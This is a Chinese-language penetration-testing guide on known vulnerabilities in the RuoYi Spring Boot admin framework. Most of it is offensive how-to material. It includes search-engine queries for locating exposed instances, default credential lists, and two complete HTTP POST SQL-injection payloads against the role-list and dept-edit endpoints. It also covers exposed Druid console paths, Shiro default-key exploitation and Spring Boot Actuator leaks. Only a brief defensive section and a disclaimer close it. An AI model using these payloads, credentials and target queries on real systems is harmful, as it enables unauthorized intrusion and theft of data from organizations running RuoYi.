针对若依系统nday的常见各种姿势
字数 1263 2025-08-29 08:30:25
若依系统渗透测试指南
1. 若依系统简介
Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台,提供后台管理系统所需的功能和组件,包括:
- 权限管理
- 定时任务
- 代码生成
- 日志管理
常见版本:
- RuoYi(单应用版本)
- RuoYi-Vue(前后端分离版本)
- RuoYi-Cloud(微服务版本)
- RuoYi-App(移动版本)
相关组件:
- Alibaba Druid
- Alibaba Nacos
- Spring
- Redis
- MySQL
- MinIO
- Fastjson
- Shiro
- Swagger-ui.html
- MyBatis
2. 信息收集与资产识别
2.1 特征识别
视觉特征:
- 经典加载界面(绿色小草图标)
- 登录页面显示"若依后台管理系统"
技术特征:
- 常见接口路径包含
/prod-api、/dev-api等 - 使用Druid、Swagger等组件
2.2 资产收集方法
FOFA搜索语法:
(icon_hash="-1231872293" || icon_hash="706913071")
鹰图搜索语法:
web.body="若依后台管理系统"
3. 常见漏洞利用方法
3.1 弱口令漏洞
常见凭证组合:
- admin/admin123
- ry/admin123
- admin/123456
- admin/admin888
Druid监控台默认凭证:
- 用户名:admin
- 密码:与后台相同或123456
3.2 SQL注入漏洞
注入点1:/system/role/list接口的params[dataScope]参数
POC:
POST /system/role/list HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
注入点2:/system/dept/edit接口的ancestors参数(RuoYi v4.6版本)
POC:
POST /system/dept/edit HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
DeptName=1&deptid=100&ParentId=12&Status=0&ordernum=1&ancestors=0)or(extractvalue(1,concat((select user()))
3.3 Druid监控台漏洞
常见访问路径:
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html
利用方法:
- 尝试弱口令登录
- 查看URL监控泄露的敏感接口
- 利用Swagger插件进行信息泄露
3.4 Shiro默认密钥漏洞
利用工具:
- Liqunkit工具(可用于检测和利用Shiro默认密钥)
检测方法:
- 检查是否存在
rememberMecookie - 使用工具测试默认密钥
3.5 前端密码泄露漏洞
利用方法:
- 查看页面源代码
- 查找password相关字段
- 修改或删除password参数可能直接显示密码
3.6 Spring Boot Actuator漏洞
常见路径:
/actuator
/actuator/env
/actuator/heapdump
利用方法:
- 使用Spring Boot扫描工具检测
- 访问泄露的接口获取敏感信息
- 利用环境变量泄露获取凭证
4. 渗透测试流程建议
- 信息收集:使用FOFA/鹰图识别目标
- 弱口令尝试:尝试常见凭证组合
- 组件识别:检查Druid、Swagger等组件
- 漏洞扫描:针对已知漏洞点进行测试
- 权限提升:利用获取的信息尝试提升权限
- 横向移动:在系统内部寻找更多漏洞点
5. 防御建议
- 修改默认凭证和密钥
- 及时更新系统和组件版本
- 限制敏感接口的访问权限
- 对用户输入进行严格过滤
- 关闭不必要的调试接口
- 实施最小权限原则
6. 免责声明
本文档仅用于安全研究和防御目的。未经授权的渗透测试属于违法行为,使用者需自行承担相关法律责任。